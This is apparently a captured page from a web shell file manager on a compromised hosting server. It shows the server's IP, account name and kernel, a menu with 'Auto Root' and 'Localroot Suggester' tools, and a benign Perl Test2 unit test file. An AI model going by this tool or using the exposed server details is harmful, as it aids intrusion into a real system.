Linux sagir-us1.hostever.us 5.14.0-570.51.1.el9_6.x86_64 #1 SMP PREEMPT_DYNAMIC Wed Oct 8 09:41:34 EDT 2025 x86_64
LiteSpeed
Server IP : 104.247.108.91 & Your IP : 216.73.216.26
Domains : 74 Domain
User : georgeto
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
usr /
share /
doc /
perl-Test-Simple /
t /
Test2 /
modules /
Delete
Unzip
Name
Size
Permission
Date
Action
API
[ DIR ]
drwxr-xr-x
2025-02-25 04:07
Event
[ DIR ]
drwxr-xr-x
2025-02-25 04:07
EventFacet
[ DIR ]
drwxr-xr-x
2025-02-25 04:07
Formatter
[ DIR ]
drwxr-xr-x
2025-02-25 04:07
Hub
[ DIR ]
drwxr-xr-x
2025-02-25 04:07
IPC
[ DIR ]
drwxr-xr-x
2025-02-25 04:07
Tools
[ DIR ]
drwxr-xr-x
2025-02-25 04:07
Util
[ DIR ]
drwxr-xr-x
2025-02-25 04:07
API.t
9.31
KB
-rw-r--r--
2020-10-22 03:10
Event.t
21.06
KB
-rw-r--r--
2020-10-22 03:10
EventFacet.t
549
B
-rw-r--r--
2020-10-22 03:10
Hub.t
11.64
KB
-rw-r--r--
2020-10-22 03:10
IPC.t
422
B
-rw-r--r--
2020-10-22 03:10
Util.t
2.43
KB
-rw-r--r--
2020-10-22 03:10
Save
Rename
use strict; use warnings; our $TIME; BEGIN { *CORE::GLOBAL::time = sub() { return CORE::time() unless defined $TIME; return $TIME; }; } use Config qw/%Config/; use Test2::Tools::Tiny; use Test2::Util qw/ try get_tid USE_THREADS pkg_to_file CAN_FORK CAN_THREAD CAN_REALLY_FORK ipc_separator gen_uid CAN_SIGSYS IS_WIN32 clone_io /; BEGIN { if ($] lt "5.008") { require Test::Builder::IO::Scalar; } } { for my $try (\&try, Test2::Util->can('_manual_try'), Test2::Util->can('_local_try')) { my ($ok, $err) = $try->(sub { die "xxx" }); ok(!$ok, "cought exception"); like($err, qr/xxx/, "expected exception"); ($ok, $err) = $try->(sub { 0 }); ok($ok, "Success"); ok(!$err, "no error"); } } is(pkg_to_file('A::Package::Name'), 'A/Package/Name.pm', "Converted package to file"); # Make sure running them does not die # We cannot really do much to test these. CAN_THREAD(); CAN_FORK(); CAN_REALLY_FORK(); IS_WIN32(); is(IS_WIN32(), ($^O eq 'MSWin32') ? 1 : 0, "IS_WIN32 is correct ($^O)"); my %sigs = map {$_ => 1} split /\s+/, $Config{sig_name}; if ($sigs{SYS}) { ok(CAN_SIGSYS, "System has SIGSYS"); } else { ok(!CAN_SIGSYS, "System lacks SIGSYS"); } my $check_for_sig_sys = Test2::Util->can('_check_for_sig_sys'); ok($check_for_sig_sys->("FOO SYS BAR"), "Found SIGSYS in the middle"); ok($check_for_sig_sys->("SYS FOO BAR"), "Found SIGSYS at start"); ok($check_for_sig_sys->("FOO BAR SYS"), "Found SIGSYS at end"); ok(!$check_for_sig_sys->("FOO SYSX BAR"), "SYSX is not SYS"); ok(!$check_for_sig_sys->("FOO XSYS BAR"), "XSYS is not SYS"); my $io = clone_io(\*STDOUT); ok($io, "Cloned the filehandle"); close($io); my $fh; my $out = ''; if ($] ge "5.008") { open($fh, '>', \$out) or die "Could not open filehandle"; } else { $fh = Test::Builder::IO::Scalar->new(\$out) or die "Could not open filehandle"; } $io = clone_io($fh); is($io, $fh, "For a scalar handle we simply return the original handle, no other choice"); print $io "Test\n"; is($out, "Test\n", "wrote to the scalar handle"); is(ipc_separator(), '~', "Got ipc_separator"); { local $TIME = time; my $id1 = gen_uid(); my $id2 = gen_uid(); like($id1, qr/^\Q$$~0~$TIME~\E\d+$/, "Got a UID ($id1)"); my ($inc) = ($id1 =~ m/(\d+)$/g); $inc++; is($id2, "$$~0~$TIME~$inc", "Next id is next in sequence ($id2)"); } done_testing;